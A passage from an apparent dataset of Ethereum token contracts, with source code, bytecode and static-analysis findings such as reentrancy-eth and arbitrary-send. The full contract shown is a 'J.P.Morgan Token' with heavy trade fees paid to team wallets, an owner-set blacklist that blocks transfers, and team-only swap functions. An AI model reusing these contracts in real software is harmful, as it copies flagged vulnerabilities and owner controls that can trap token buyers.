08301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f93a7e67cd940896f33755f9ecaf1c2496869fc6cd850a7f327a085340346c3464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,926 |
0x4AD7573791cDbF98Fa93011fE51ceE45A525cdC4
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract JPMToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "J.P.Morgan Token";
string private constant _symbol = "JPM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _minerFee = 10;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _buybackAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_buybackAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_buybackAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _minerFee == 0) return;
_taxFee = 0;
_minerFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_minerFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_buybackAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_minerFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f6578063c3c8cd8014610316578063c9567bf91461032b578063d543dbeb14610340578063dd62ed3e1461036057600080fd5b8063715018a61461026d5780638da5cb5b1461028257806395d89b41146102aa578063a9059cbb146102d657600080fd5b8063273123b7116100dc578063273123b7146101da578063313ce567146101fc5780635932ead1146102185780636fc3eaec1461023857806370a082311461024d57600080fd5b806306fdde0314610119578063095ea7b31461016457806318160ddd1461019457806323b872dd146101ba57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601081526f2517281726b7b933b0b7102a37b5b2b760811b60208201525b60405161015b91906119f4565b60405180910390f35b34801561017057600080fd5b5061018461017f366004611885565b6103a6565b604051901515815260200161015b565b3480156101a057600080fd5b50683635c9adc5dea000005b60405190815260200161015b565b3480156101c657600080fd5b506101846101d5366004611845565b6103bd565b3480156101e657600080fd5b506101fa6101f53660046117d5565b610426565b005b34801561020857600080fd5b506040516009815260200161015b565b34801561022457600080fd5b506101fa610233366004611977565b61047a565b34801561024457600080fd5b506101fa6104c2565b34801561025957600080fd5b506101ac6102683660046117d5565b6104ef565b34801561027957600080fd5b506101fa610511565b34801561028e57600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102b657600080fd5b506040805180820190915260038152624a504d60e81b602082015261014e565b3480156102e257600080fd5b506101846102f1366004611885565b610585565b34801561030257600080fd5b506101fa6103113660046118b0565b610592565b34801561032257600080fd5b506101fa610636565b34801561033757600080fd5b506101fa61066c565b34801561034c57600080fd5b506101fa61035b3660046119af565b610a2f565b34801561036c57600080fd5b506101ac61037b36600461180d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b3338484610b02565b5060015b92915050565b60006103ca848484610c26565b61041c843361041785604051806060016040528060288152602001611bc5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611038565b610b02565b5060019392505050565b6000546001600160a01b031633146104595760405162461bcd60e51b815260040161045090611a47565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a45760405162461bcd60e51b815260040161045090611a47565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e257600080fd5b476104ec81611072565b50565b6001600160a01b0381166000908152600260205260408120546103b7906110f7565b6000546001600160a01b0316331461053b5760405162461bcd60e51b815260040161045090611a47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b3338484610c26565b6000546001600160a01b031633146105bc5760405162461bcd60e51b815260040161045090611a47565b60005b8151811015610632576001600a60008484815181106105ee57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062a81611b5a565b9150506105bf565b5050565b600c546001600160a01b0316336001600160a01b03161461065657600080fd5b6000610661306104ef565b90506104ec8161117b565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161045090611a47565b600f54600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610450565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072d3082683635c9adc5dea00000610b02565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076657600080fd5b505afa15801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e91906117f1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e91906117f1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086657600080fd5b505af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906117f1565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ce816104ef565b6000806108e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094657600080fd5b505af115801561095a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097f91906119c7565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f757600080fd5b505af1158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106329190611993565b6000546001600160a01b03163314610a595760405162461bcd60e51b815260040161045090611a47565b60008111610aa95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610450565b610ac76064610ac1683635c9adc5dea0000084611320565b9061139f565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610bc55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610cec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610d4e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6000546001600160a01b03848116911614801590610d7a57506000546001600160a01b03838116911614155b15610fdb57600f54600160b81b900460ff1615610e61576001600160a01b0383163014801590610db357506001600160a01b0382163014155b8015610dcd5750600e546001600160a01b03848116911614155b8015610de75750600e546001600160a01b03838116911614155b15610e6157600e546001600160a01b0316336001600160a01b03161480610e215750600f546001600160a01b0316336001600160a01b0316145b610e615760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610450565b601054811115610e7057600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb257506001600160a01b0382166000908152600a602052604090205460ff16155b610ebb57600080fd5b600f546001600160a01b038481169116148015610ee65750600e546001600160a01b03838116911614155b8015610f0b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f205750600f54600160b81b900460ff165b15610f6e576001600160a01b0382166000908152600b60205260409020544211610f4957600080fd5b610f5442603c611aec565b6001600160a01b0383166000908152600b60205260409020555b6000610f79306104ef565b600f54909150600160a81b900460ff16158015610fa45750600f546001600160a01b03858116911614155b8015610fb95750600f54600160b01b900460ff165b15610fd957610fc78161117b565b478015610fd757610fd747611072565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101d57506001600160a01b03831660009081526005602052604090205460ff165b15611026575060005b611032848484846113e1565b50505050565b6000818484111561105c5760405162461bcd60e51b815260040161045091906119f4565b5060006110698486611b43565b95945050505050565b600c546001600160a01b03166108fc61108c83600261139f565b6040518115909202916000818181858888f193505050501580156110b4573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cf83600261139f565b6040518115909202916000818181858888f19350505050158015610632573d6000803e3d6000fd5b600060065482111561115e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b600061116861140d565b9050611174838261139f565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122557600080fd5b505afa158015611239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125d91906117f1565b8160018151811061127e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a49130911684610b02565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112dd908590600090869030904290600401611a7c565b600060405180830381600087803b1580156112f757600080fd5b505af115801561130b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132f575060006103b7565b600061133b8385611b24565b9050826113488583611b04565b146111745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600061117483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611430565b806113ee576113ee61145e565b6113f9848484611481565b80611032576110326005600855600a600955565b600080600061141a611578565b9092509050611429828261139f565b9250505090565b600081836114515760405162461bcd60e51b815260040161045091906119f4565b5060006110698486611b04565b60085415801561146e5750600954155b1561147557565b60006008819055600955565b600080600080600080611493876115ba565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c59087611617565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f49086611659565b6001600160a01b038916600090815260026020526040902055611516816116b8565b6115208483611702565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611594828261139f565b8210156115b157505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d78a600854600954611726565b92509250925060006115e761140d565b905060008060006115fa8e878787611775565b919e509c509a509598509396509194505050505091939550919395565b600061117483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611038565b6000806116668385611aec565b9050838110156111745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b60006116c261140d565b905060006116d08383611320565b306000908152600260205260409020549091506116ed9082611659565b30600090815260026020526040902055505050565b60065461170f9083611617565b60065560075461171f9082611659565b6007555050565b600080808061173a6064610ac18989611320565b9050600061174d6064610ac18a89611320565b905060006117658261175f8b86611617565b90611617565b9992985090965090945050505050565b60008080806117848886611320565b905060006117928887611320565b905060006117a08888611320565b905060006117b28261175f8686611617565b939b939a50919850919650505050505050565b80356117d081611ba1565b919050565b6000602082840312156117e6578081fd5b813561117481611ba1565b600060208284031215611802578081fd5b815161117481611ba1565b6000806040838503121561181f578081fd5b823561182a81611ba1565b9150602083013561183a81611ba1565b809150509250929050565b600080600060608486031215611859578081fd5b833561186481611ba1565b9250602084013561187481611ba1565b929592945050506040919091013590565b60008060408385031215611897578182fd5b82356118a281611ba1565b946020939093013593505050565b600060208083850312156118c2578182fd5b823567ffffffffffffffff808211156118d9578384fd5b818501915085601f8301126118ec578384fd5b8135818111156118fe576118fe611b8b565b8060051b604051601f19603f8301168101818110858211171561192357611923611b8b565b604052828152858101935084860182860187018a1015611941578788fd5b8795505b8386101561196a57611956816117c5565b855260019590950194938601938601611945565b5098975050505050505050565b600060208284031215611988578081fd5b813561117481611bb6565b6000602082840312156119a4578081fd5b815161117481611bb6565b6000602082840312156119c0578081fd5b5035919050565b6000806000606084860312156119db578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2057858101830151858201604001528201611a04565b81811115611a315783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611acb5784516001600160a01b031683529383019391830191600101611aa6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611aff57611aff611b75565b500190565b600082611b1f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3e57611b3e611b75565b500290565b600082821015611b5557611b55611b75565b500390565b6000600019821415611b6e57611b6e611b75565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ec57600080fd5b80151581146104ec57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079b1eca1dc6c617e5cc36e0611b666a8bfd4a8da48c88fa7b43e8a7342bfbb8664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,927 |
0xd1fa82f4c088bc72541fa6e4d5a8e6dd08c86588
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
